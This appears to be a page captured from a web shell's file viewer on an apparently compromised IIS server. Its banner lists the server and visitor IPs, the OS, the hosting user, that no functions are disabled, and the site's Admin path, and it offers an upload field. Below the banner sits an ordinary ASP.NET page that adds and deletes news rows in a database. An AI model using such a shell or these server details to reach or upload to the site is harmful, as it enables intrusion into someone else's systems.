| Server IP : 199.79.62.161 / Your IP : 216.73.216.245 [ Web Server : Microsoft-IIS/10.0 System : Windows NT MDUS-PP-WB12 10.0 build 20348 (Windows Server 2022) AMD64 User : IWPD_5096(nirmaowd) ( 0) PHP Version : 8.3.30 Disable Function : NONE Domains : 0 Domains MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : D:/INETPUB/VHOSTS/nirmalamatha.edu.in/ponnuguruvayurappan.org/Admin/ |
Upload File : |
using System;
using System.Drawing;
using System.Web.UI.WebControls;
using System.Data.SqlClient;
using System.Configuration;
using System.Data;
public partial class admin_add_newsandevents : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
if (!IsPostBack)
{
txt_DisplayOrder.Text = "0";
}
}
protected void btnUpload_Click(object sender, EventArgs e)
{
try
{
if (WritetoDB() > 0)
{
lbl_messages.ForeColor = Color.Green;
lbl_messages.Text = "<div class=\"alert alert-success\">Successfully Added.<br /></div>";
GV_DECISIONS.DataBind();
}
else
{
lbl_messages.Text = "<div class=\"alert alert-danger\">Please Try Later.<br /></div>";
}
}
catch (Exception info)
{
throw info;
}
}
public int WritetoDB()
{
//********* add to db
SqlConnection dbConn = new SqlConnection(ConfigurationManager.ConnectionStrings["myconnectionstring"].ConnectionString);
SqlDataAdapter dbAdapt = new SqlDataAdapter("SELECT TOP 1 * FROM [DECISIONS] ORDER BY DID DESC", dbConn);
// We need this to get an ID back from the database
dbAdapt.MissingSchemaAction = MissingSchemaAction.AddWithKey;
// Create and initialize CommandBuilder
SqlCommandBuilder dbCB = new SqlCommandBuilder(dbAdapt);
// Open Connection
dbConn.Open();
// New DataSet
DataSet dbSet = new DataSet();
// Populate DataSet with data
dbAdapt.Fill(dbSet, "temp");
// Get reference to our table
DataTable dbTable = dbSet.Tables["temp"];
// Create new row
string oldid = "";
if (dbTable.Rows.Count > 0)
{
oldid = dbTable.Rows[0]["DID"].ToString();
}
if (oldid == "")
oldid = "1";
DataRow dbRow = dbTable.NewRow();
// Store data in the row
dbRow["Heading"] = txt_Name.Text.Trim();
dbRow["Description"] = txt_Description.Text.Trim();
dbRow["Display"] = int.Parse(txt_DisplayOrder.Text);
dbRow["RegDate"] = DateTime.Now.ToString();
dbTable.Rows.Add(dbRow);
int stat = dbAdapt.Update(dbSet, "temp");
dbConn.Close();
return stat;
//********* end of save to db
}
protected void GV_DECISIONS_RowDeleted(object sender, GridViewDeletedEventArgs e)
{
lbl_messages.Text = "";
lbl_deletemessage.Text = "";
if (e.AffectedRows > 0)
{
lbl_deletemessage.Text += " <div class=\"alert alert-danger\">Deleted successfully.<br /></div>";
}
else
{
lbl_deletemessage.Text += " <div class=\"alert alert-danger\">Couldn't be deleted.<br /></div>";
}
}
protected void GV_DECISIONS_RowDeleting(object sender, GridViewDeleteEventArgs e)
{
int DID = Convert.ToInt32(GV_DECISIONS.DataKeys[e.RowIndex].Value);
try
{
GV_DECISIONS.DataBind();
}
catch (Exception ex)
{ }
}
}